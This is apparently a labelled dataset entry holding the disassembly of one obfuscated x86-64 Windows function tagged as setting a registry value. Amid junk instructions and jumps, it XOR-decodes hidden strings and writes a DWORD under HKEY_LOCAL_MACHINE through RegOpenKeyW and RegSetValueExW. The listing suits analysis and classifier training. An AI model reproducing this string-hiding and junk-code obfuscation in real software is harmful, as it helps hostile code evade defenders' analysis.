Function at 0x1403fd386
Capabilities:
Set registry value

Disassembly:
push r15
rcl r15b, 0x31
inc r15b
seta r15b
push r14
stc
shl r15d, 0xd3
push r13
push r12
ror r14, 0x6e
cmp r15d, r10d
push rsi
push rdi
mov dil, 0xc5
push rbp
push rbx
btr si, r11w
mov r13b, dl
btc si, 0x32
sub rsp, 0x2f8
movabs rax, 0xe009ec3224c8fd6e
mov sil, 0x46
movsx r13w, al
jmp 0x1403fd3d7
mov qword [rsp + 0x2e0], rax
bswap rsi
setl dil
cmovge di, r10w
mov qword [rsp + 0x40], rax
mov r14w, 0xf8d
cwde
movabs rax, 0x2204bcb80ebea5a3
not r12b
movsx r13w, sil
mov qword [rsp + 0x2d8], rax
bswap r15
mov qword [rsp + 0x48], rax
lahf
movzx r12, r14w
xchg r14, rbx
movabs rax, 0xfbc9f38de01f2fa2
mov qword [rsp + 0x2d0], rax
movzx ebp, di
movzx r12w, spl
mov qword [rsp + 0x50], rax
not rbp
movabs rax, 0x17a75ff95317a686
mov bl, r13b
movsx rbx, r13w
mov qword [rsp + 0x2c8], rax
mov qword [rsp + 0x58], rax
movzx r15d, ax
cbw
movabs rax, 0xfd99d5578f55fa6f
bswap si
jmp 0x1403fd47c
mov qword [rsp + 0x2c0], rax
cmovb bp, r8w
mov qword [rsp + 0x60], rax
lahf
movsx r14w, r13b
movabs rax, 0x4b3964fdcd447246
movzx esi, ax
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x68], rax
movzx edi, r10w
movabs rax, 0xee88324679eb2227
movzx r14d, r14w
bswap r15d
mov r12b, dil
mov qword [rsp + 0x2b0], rax
movsx r12w, r13b
movzx rsi, di
mov qword [rsp + 0x70], rax
movsxd r15, r14d
setbe bpl
cwde
movabs rax, 0x6d7346ad6d4ffefa
movsx r15, si
movzx rbx, r8w
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x78], rax
movsxd r13, r10d
cwde
movzx r12, ax
movabs rax, 0xd093683aef376a76
movsx r14, cx
mov qword [rsp + 0x2a0], rax
jmp 0x1403fd52d
mov qword [rsp + 0x80], rax
movabs rax, 0xa80f93e9d32b8c6f
mov qword [rsp + 0x298], rax
movzx di, dl
mov qword [rsp + 0x88], rax
movsx rsi, bp
lahf
movabs rax, 0x33e730243394033e
mov dil, cl
mov r13d, 0x1daf77dd
mov qword [rsp + 0x290], rax
xchg di, r12w
not r15b
movsxd rdi, esi
mov qword [rsp + 0x90], rax
seto r12b
movzx rbx, r15w
movsx r15w, r10b
movabs rax, 0xe7e3977e114e6703
mov qword [rsp + 0x288], rax
movzx r13, si
movzx ebx, r14w
mov qword [rsp + 0x98], rax
movabs rax, 0xb0b65ec58a603c8
mov qword [rsp + 0x280], rax
mov qword [rsp + 0xa0], rax
mov rdi, 0x1175503c
movabs rax, 0x6708be65ca8156d7
mov qword [rsp + 0x278], rax
mov qword [rsp + 0xa8], rax
bswap si
movabs rax, 0x46a7044da5524090
cmovl r14w, r14w
mov r12w, sp
seta r12b
mov qword [rsp + 0x270], rax
xchg sil, r12b
movsx rsi, sp
movsxd rbx, r15d
mov qword [rsp + 0xb0], rax
cwde
mov rsi, 0x5ead7e8c
movabs rax, 0x4b8cb541ca050f46
mov qword [rsp + 0x268], rax
mov qword [rsp + 0xb8], rax
movsx ebp, ax
movsx r14w, al
movabs rax, 0xe627ab41184af921
movsx ebp, r13w
movsx r13w, r14b
mov qword [rsp + 0x260], rax
movsx edi, sp
xchg r13, r15
mov ebp, 0x6f4a64f5
mov qword [rsp + 0xc0], rax
lahf
movabs rax, 0x34c77b6e31b9a
movsx r14d, r10w
movsxd r12, r9d
mov qword [rsp + 0x258], rax
movsxd r13, r12d
movsx rdi, r12w
setg r13b
mov qword [rsp + 0xc8], rax
mov di, 0x59b0
movsx rbp, r10w
cdqe
movabs rax, 0xd8cf4ec0049852bb
not r14w
mov qword [rsp + 0xd0], rax
movsx rbx, r8w
movabs rax, 0xa5eac9844f8ea419
movsxd r12, ecx
mov r15w, r13w
xchg dil, r15b
mov qword [rsp + 0xd8], rax
lahf
movsx r14w, r11b
cwde
mov qword [rsp + 0x30], 0
cwde
cdqe
mov r13b, r10b
mov dword [rsp + 0x3c], 0
movsx si, spl
movsx esi, r11w
bswap ebp
movabs rbp, 0x2eb490333e21dae3
sets r13b
movzx r13d, r15w
movsx bx, dil
mov qword [rsp + 0xe0], rbp
jmp 0x1403fd73c
movabs r14, 0x28903e48668cb956
xchg di, r15w
mov qword [rsp + 0xe8], r14
movzx r12d, bp
movabs r15, 0xe05dec612491fd3d
mov qword [rsp + 0x100], r15
bswap r12w
jmp 0x1403fd771
movabs r12, 0x2247bce40ef3a5e6
xchg bx, di
cbw
cmovnp ax, si
mov qword [rsp + 0x108], r12
not ah
movabs rsi, 0xfbacf3ffe06d2fd7
mov r13b, r12b
movzx rax, sp
movsxd rax, esp
mov qword [rsp + 0x110], rsi
lahf
movabs rdi, 0x17c85fba5363a6e8
movzx eax, r13w
mov qword [rsp + 0x118], rdi
mov bh, 0xf9
movabs rax, 0xfdf6d5258f21fa01
movsx bx, r15b
mov qword [rsp + 0x120], rax
cmovb bx, r8w
mov rbx, rax
movsx r13w, r13b
mov al, dil
movzx rax, r12w
movabs rax, 0x4b4d6498cd17722a
mov qword [rsp + 0x2f0], rax
not r13b
xchg r13w, r13w
mov r13, 0x47267955
mov qword [rsp + 0x128], rax
not r13d
movabs rax, 0xeefa322379b8227b
movzx r13, bx
mov qword [rsp + 0x250], rax
mov r13b, dl
movzx r13, di
mov qword [rsp + 0x130], rax
movabs rax, 0x6d1646ce6d26fe8c
mov qword [rsp + 0x248], rax
movzx r13w, sil
jmp 0x1403fd85b
mov qword [rsp + 0x138], rax
mov r13, 0x2a98575b
lahf
cwde
movabs rax, 0xd0fb6869ef6b6a05
xchg r13, r13
mov qword [rsp + 0x240], rax
xchg r13d, r13d
mov r13b, 0x30
mov qword [rsp + 0x140], rax
lahf
mov r13, rsi
not al
movabs rax, 0xa86b938cd3598c0e
not r13d
cmovg r13w, ax
mov qword [rsp + 0x238], rax
bswap r13d
cmovnp r13, r12
xchg r13b, r13b
mov qword [rsp + 0x148], rax
movsx r13, r10w
cbw
setp r13b
movabs rax, 0x3382304733f7037f
mov r13, rbx
mov qword [rsp + 0x230], rax
jmp 0x1403fd8e5
mov qword [rsp + 0x150], rax
movabs rax, 0xe7b39722113d6770
jmp 0x1403fd903
mov qword [rsp + 0x228], rax
mov r13w, 0x52de
mov qword [rsp + 0x158], rax
bswap rax
cdqe
movabs rax, 0xb66658d58d403a9
mov r13w, r10w
movzx r13d, r13w
xchg r13b, r13b
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x160], rax
movabs rax, 0x677abe00caf556b2
movsx r13w, r13b
movzx r13d, bx
mov qword [rsp + 0x218], rax
movzx r13, r9w
mov qword [rsp + 0x168], rax
mov rax, 0x205f625f
bswap rax
movabs rax, 0x46ce040ba50e40e3
not r13d
movzx r13, di
movsxd r13, r9d
mov qword [rsp + 0x210], rax
movsx r13, dx
mov qword [rsp + 0x170], rax
seta r13b
movabs rax, 0x4bedb536ca600f34
movzx r13d, sp
mov qword [rsp + 0x208], rax
movsx r13d, r15w
mov qword [rsp + 0x178], rax
cwde
mov r13b, cl
movabs rax, 0xe648ab111826f94d
movsx r13d, bp
mov qword [rsp + 0x200], rax
movsx r13w, al
setp r13b
mov qword [rsp + 0x180], rax
movzx rax, cx
movabs rax, 0x7a4c14b68a1bf6
movsxd r13, r14d
jmp 0x1403fda02
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x188], rax
xchg r13d, eax
movsx rax, bx
movabs rax, 0xd8a24eaf04dc52e7
mov qword [rsp + 0x1f0], rax
movzx r13, r10w
xchg r13d, r13d
mov qword [rsp + 0x190], rax
cmovg r13w, dx
movabs rax, 0xa5bac9ea4fe7a478
movsx r13, r13w
mov r13w, si
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x198], rax
movsx eax, r8w
mov r13b, 0x10
xchg r13w, r13w
movabs rax, 0x2edd90553e4eda91
mov qword [rsp + 0x1e0], rax
movzx r13w, r13b
xchg r13b, r13b
mov qword [rsp + 0x1a0], rax
setno r13b
movabs rax, 0x28903e4866e9b93a
setns r13b
movsx r13w, sil
movzx r13, si
mov qword [rsp + 0x1d8], rax
cmovg r13w, si
jmp 0x1403fdaba
mov qword [rsp + 0x1a8], rax
movzx ax, spl
xchg ah, ah
lea r13, [rsp + 0x100]
cdqe
not al
mov rax, r13
jmp 0x1403fdadd
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fdae7
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fdaf4
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fdafe
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x1403fdb0c
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x1403fdb16
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
jmp 0x1403fdb24
movaps xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x1403fdb37
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403fdb44
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403fdb55
movaps xmm0, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403fdb6e
movaps xmm0, xmmword [rsp + 0xa0]
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403fdb87
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403fdb94
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403fdba5
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403fdbb2
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403fdbc6
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403fdbd3
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403fdbe7
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403fdbf4
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
cmovp ecx, esi
sets ch
lea rdx, [rsp + 0x40]
not r8b
movsx rcx, r9w
lea r8, [rsp + 0x30]
bswap cx
movsx cx, r15b
movzx ecx, bx
mov rcx, 0xffffffff80000002
jmp 0x1403fdc31
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
jmp 0x1403fdc46
mov qword [rsp + 0x1d0], rax
jmp 0x1403fdc53
mov qword [rsp + 0x40], rax
lahf
cmovl rax, rdx
movabs rax, 0x222ebca20e96a58a
mov qword [rsp + 0x1c8], rax
jmp 0x1403fdc74
mov qword [rsp + 0x48], rax
movabs rax, 0xfbcdf388e0082fa5
jmp 0x1403fdc88
mov qword [rsp + 0x2e8], rax
jmp 0x1403fdc95
mov qword [rsp + 0x50], rax
movzx rax, bx
movabs rax, 0x17c85fba530fa684
jmp 0x1403fdcad
mov qword [rsp + 0x1c0], rax
jmp 0x1403fdcba
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x100], r15
setns al
bswap rax
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
cbw
mov rax, r13
jmp 0x1403fdcef
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fdcf9
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fdd06
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
shl dx, 0x5c
mov rcx, qword [rsp + 0x30]
cbw
movsx r9, sp
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
sbb dx, 0x679d
adc dl, 0x13
mov dword [rsp + 0x28], 4
cmp r8b, spl
sub r9b, 0x92
lea rdx, [rsp + 0x40]
bt r9, r11
movzx r9w, sil
btc r9w, 0xd7
xor r8d, r8d
movsx r9d, si
movsxd r9, ecx
not r9b
mov r9d, 4
jmp 0x1403fdd70
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403fdd80
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fdd93
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x48], rax
bswap ax
mov rax, qword [rsp + 0x2d0]
jmp 0x1403fddb5
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2c8]
jmp 0x1403fddc7
mov qword [rsp + 0x58], rax
setg ah
mov rax, qword [rsp + 0x2c0]
jmp 0x1403fdddc
mov qword [rsp + 0x60], rax
cwde
lahf
mov rax, qword [rsp + 0x2b8]
jmp 0x1403fddf0
mov qword [rsp + 0x68], rax
cdqe
mov rax, qword [rsp + 0x2b0]
jmp 0x1403fde04
mov qword [rsp + 0x70], rax
cwde
mov rax, qword [rsp + 0x2a8]
jmp 0x1403fde17
mov qword [rsp + 0x78], rax
movsx rax, r12w
cbw
cmovns rax, r12
mov rax, qword [rsp + 0x2a0]
jmp 0x1403fde33
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x88], rax
bswap ax
lahf
jmp 0x1403fde54
mov rax, qword [rsp + 0x290]
jmp 0x1403fde61
mov qword [rsp + 0x90], rax
lahf
movsx ax, r12b
setb ah
mov rax, qword [rsp + 0x288]
jmp 0x1403fde7f
mov qword [rsp + 0x98], rax
movzx rax, r15w
cwde
mov rax, qword [rsp + 0x280]
jmp 0x1403fde99
mov qword [rsp + 0xa0], rax
jmp 0x1403fdea6
mov rax, qword [rsp + 0x278]
jmp 0x1403fdeb3
mov qword [rsp + 0xa8], rax
movzx ax, sil
mov al, 0xd4
movzx eax, dx
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0xb0], rax
cmovb ax, r9w
bswap eax
mov rax, qword [rsp + 0x268]
jmp 0x1403fdee9
mov qword [rsp + 0xb8], rax
cdqe
movsxd rax, esi
mov rax, qword [rsp + 0x260]
jmp 0x1403fdf03
mov qword [rsp + 0xc0], rax
jmp 0x1403fdf17
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xc8], rax
lahf
movabs rax, 0xd8c04eda048c52bb
jmp 0x1403fdf37
mov qword [rsp + 0xd0], rax
mov al, dil
movabs rax, 0xa5eac9894f8ea414
jmp 0x1403fdf51
mov qword [rsp + 0xd8], rax
not ah
movsx eax, r11w
mov qword [rsp + 0xe0], rbp
not ax
cdqe
mov qword [rsp + 0xe8], r14
setnp r14b
xchg bpl, al
movsx r14, r12w
mov qword [rsp + 0x100], r15
movsx rbp, r12w
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
setl bpl
cbw
mov qword [rsp + 0x118], rdi
mov rbp, rbx
movzx ax, r9b
mov qword [rsp + 0x120], rbx
movsx r14d, si
mov r14, qword [rsp + 0x2f0]
movzx eax, bp
not ax
mov qword [rsp + 0x128], r14
movsx rax, r12w
mov rax, qword [rsp + 0x250]
jmp 0x1403fdfe4
mov qword [rsp + 0x130], rax
bswap rax
movzx ax, r11b
mov rax, qword [rsp + 0x248]
jmp 0x1403fe001
mov qword [rsp + 0x138], rax
movzx ax, r13b
mov ax, r9w
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x140], rax
cbw
movsxd rax, r13d
not ax
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x148], rax
not rax
movsxd rax, r10d
mov rax, qword [rsp + 0x230]
jmp 0x1403fe04d
mov qword [rsp + 0x150], rax
cbw
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x218]
jmp 0x1403fe084
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x210]
jmp 0x1403fe099
mov qword [rsp + 0x170], rax
cwde
bswap rax
movzx ax, al
mov rax, qword [rsp + 0x208]
jmp 0x1403fe0b6
mov qword [rsp + 0x178], rax
cdqe
mov rax, qword [rsp + 0x200]
jmp 0x1403fe0cd
mov qword [rsp + 0x180], rax
movsx rax, r8w
movzx rax, cx
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x188], rax
jmp 0x1403fe0f5
mov rax, qword [rsp + 0x1f0]
jmp 0x1403fe102
mov qword [rsp + 0x190], rax
movsxd rax, r9d
movsx ax, spl
mov rax, qword [rsp + 0x1e8]
jmp 0x1403fe11f
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x1e0]
jmp 0x1403fe134
mov qword [rsp + 0x1a0], rax
mov ax, 0x6fa4
movsx ax, spl
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1a8], rax
bswap eax
jmp 0x1403fe15c
mov rax, r13
jmp 0x1403fe164
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fe16e
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x1403fe17d
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fe18f
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x1403fe1a6
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403fe1bc
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403fe1cd
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403fe1da
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403fe1eb
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403fe1f8
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403fe209
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403fe216
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403fe227
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403fe234
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403fe248
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403fe255
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403fe271
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
not rdx
cmovne rdx, rax
lea rdx, [rsp + 0x40]
movsx cx, bpl
movsx ecx, r14w
mov rcx, 0xffffffff80000002
movzx r8w, al
movzx r8, di
lea r8, [rsp + 0x30]
jmp 0x1403fe2af
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x1c8]
setge bl
mov qword [rsp + 0x48], rax
mov rbx, qword [rsp + 0x2e8]
lahf
movsx eax, sp
setno al
mov qword [rsp + 0x50], rbx
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
movsx ax, r10b
mov qword [rsp + 0x110], rsi
movsx eax, bp
setg al
mov qword [rsp + 0x118], rdi
mov rax, r13
jmp 0x1403fe326
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fe338
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fe342
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
shld ecx, esi, 0x1d
bt edx, ebp
mov rcx, qword [rsp + 0x30]
xchg al, dl
shl dh, cl
rcr r9b, 0xeb
lea rax, [rsp + 0x3c]
jmp 0x1403fe371
mov qword [rsp + 0x20], rax
rcl dl, cl
mov dword [rsp + 0x28], 4
not dl
or dh, al
lea rdx, [rsp + 0x40]
or r9b, 0x36
not r9
sub r8d, r8d
xchg r9w, r9w
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403fe3ad
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fe3c0
mov qword [rsp + 0x40], rax
not ax
cwde
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x48], rax
lahf
cdqe
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x50], rax
cmovno ax, sp
movzx ax, bl
movsxd rax, edi
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x58], rax
movsx eax, ax
movzx ax, r8b
mov rax, qword [rsp + 0x2c0]
jmp 0x1403fe413
mov qword [rsp + 0x60], rax
movsx rax, ax
mov rax, qword [rsp + 0x2b8]
jmp 0x1403fe429
mov qword [rsp + 0x68], rax
movzx ax, r10b
mov rax, qword [rsp + 0x2b0]
jmp 0x1403fe440
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x2a8]
jmp 0x1403fe452
mov qword [rsp + 0x78], rax
movzx rax, r15w
cmovl ax, cx
movzx eax, bx
mov rax, qword [rsp + 0x2a0]
jmp 0x1403fe46f
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x298]
jmp 0x1403fe484
mov qword [rsp + 0x88], rax
cmovno rax, rax
not rax
setp al
mov rax, qword [rsp + 0x290]
jmp 0x1403fe4a3
mov qword [rsp + 0x90], rax
jmp 0x1403fe4b4
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x98], rax
movzx rax, bx
mov al, 0x63
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xa0], rax
movzx rax, r12w
cwde
movsx rax, r13w
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0xa8], rax
movsx ax, r11b
cwde
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0xb0], rax
cmovne eax, ecx
lahf
mov rax, qword [rsp + 0x268]
jmp 0x1403fe51a
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0xc0], rax
jmp 0x1403fe53d
mov rax, qword [rsp + 0x258]
jmp 0x1403fe54a
mov qword [rsp + 0xc8], rax
movabs rax, 0xd8c34edb048f52bb
jmp 0x1403fe561
mov qword [rsp + 0xd0], rax
bswap eax
movzx rax, ax
mov al, spl
movabs rax, 0xa5c8c98b4f83a416
jmp 0x1403fe581
mov qword [rsp + 0xd8], rax
movsxd rax, r12d
movsx ax, r8b
bswap eax
movabs rax, 0x2eb290273e1edaf5
jmp 0x1403fe5a2
mov qword [rsp + 0xe0], rax
mov ax, 0x53e6
cwde
mov ax, r11w
movabs rax, 0x28f53e246680b95c
jmp 0x1403fe5c2
mov qword [rsp + 0xe8], rax
mov rax, 0x5e578c6
cmovae ax, sp
movsx ax, r9b
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
cbw
mov qword [rsp + 0x110], rsi
mov eax, 0xbdf06f9
movsxd rax, r8d
lahf
mov qword [rsp + 0x118], rdi
jmp 0x1403fe60a
mov qword [rsp + 0x120], rbp
mov qword [rsp + 0x128], r14
not al
cwde
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x138], rax
cbw
bswap rax
mov rax, qword [rsp + 0x240]
jmp 0x1403fe64f
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x238]
jmp 0x1403fe664
mov qword [rsp + 0x148], rax
cmovl rax, r15
movzx eax, r10w
movsxd rax, r15d
mov rax, qword [rsp + 0x230]
jmp 0x1403fe684
mov qword [rsp + 0x150], rax
cmove ax, bp
movsx ax, r8b
movzx rax, bp
mov rax, qword [rsp + 0x228]
jmp 0x1403fe6a6
mov qword [rsp + 0x158], rax
cmova ax, cx
cbw
movsx eax, r9w
mov rax, qword [rsp + 0x220]
jmp 0x1403fe6c5
mov qword [rsp + 0x160], rax
cbw
mov rax, qword [rsp + 0x218]
jmp 0x1403fe6dc
mov qword [rsp + 0x168], rax
lahf
movzx ax, ah
movsxd rax, r9d
mov rax, qword [rsp + 0x210]
jmp 0x1403fe6f9
mov qword [rsp + 0x170], rax
nop
movsxd rax, edi
mov rax, qword [rsp + 0x208]
jmp 0x1403fe712
mov qword [rsp + 0x178], rax
cwde
mov rax, qword [rsp + 0x200]
jmp 0x1403fe728
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x1f8]
jmp 0x1403fe73d
mov qword [rsp + 0x188], rax
lahf
movsxd rax, r8d
mov rax, qword [rsp + 0x1f0]
jmp 0x1403fe756
mov qword [rsp + 0x190], rax
setae al
movsx rax, bx
mov rax, qword [rsp + 0x1e8]
jmp 0x1403fe772
mov qword [rsp + 0x198], rax
jmp 0x1403fe784
mov rax, qword [rsp + 0x1e0]
jmp 0x1403fe791
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1d8]
jmp 0x1403fe7a6
mov qword [rsp + 0x1a8], rax
jmp 0x1403fe7b4